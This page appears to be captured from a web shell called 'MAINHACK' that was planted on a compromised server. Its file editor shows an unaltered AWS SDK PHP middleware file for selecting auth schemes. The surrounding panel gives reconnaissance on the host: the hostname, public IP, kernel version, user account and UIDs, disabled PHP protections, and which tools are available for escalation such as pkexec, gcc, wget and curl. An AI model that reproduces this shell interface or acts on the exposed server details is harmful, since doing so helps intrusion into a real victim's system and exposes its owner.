[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: AuthSelectionMiddleware.php
<?php namespace Aws\Auth; use Aws\Api\Service; use Aws\CommandInterface; use Closure; use GuzzleHttp\Promise\Promise; /** * Handles auth scheme resolution. If a service models and auth scheme using * the `auth` trait and the operation or metadata levels, this middleware will * attempt to select the first compatible auth scheme it encounters and apply its * signature version to the command's `@context` property bag. * * IMPORTANT: this middleware must be added to the "build" step. * * @internal */ class AuthSelectionMiddleware { /** @var callable */ private $nextHandler; /** @var AuthSchemeResolverInterface */ private $authResolver; /** @var Service */ private $api; /** * Create a middleware wrapper function * * @param AuthSchemeResolverInterface $authResolver * @param Service $api * @return Closure */ public static function wrap( AuthSchemeResolverInterface $authResolver, Service $api ): Closure { return function (callable $handler) use ($authResolver, $api) { return new self($handler, $authResolver, $api); }; } /** * @param callable $nextHandler * @param $authResolver * @param callable $identityProvider * @param Service $api */ public function __construct( callable $nextHandler, AuthSchemeResolverInterface $authResolver, Service $api ) { $this->nextHandler = $nextHandler; $this->authResolver = $authResolver; $this->api = $api; } /** * @param CommandInterface $command * * @return Promise */ public function __invoke(CommandInterface $command) { $nextHandler = $this->nextHandler; $serviceAuth = $this->api->getMetadata('auth') ?: []; $operation = $this->api->getOperation($command->getName()); $operationAuth = $operation['auth'] ?? []; $unsignedPayload = $operation['unsignedpayload'] ?? false; $resolvableAuth = $operationAuth ?: $serviceAuth; if (!empty($resolvableAuth)) { if (isset($command['@context']['auth_scheme_resolver']) && $command['@context']['auth_scheme_resolver'] instanceof AuthSchemeResolverInterface ){ $resolver = $command['@context']['auth_scheme_resolver']; } else { $resolver = $this->authResolver; } $selectedAuthScheme = $resolver->selectAuthScheme( $resolvableAuth, ['unsigned_payload' => $unsignedPayload] ); if (!empty($selectedAuthScheme)) { $command['@context']['signature_version'] = $selectedAuthScheme; } } return $nextHandler($command); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.7 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002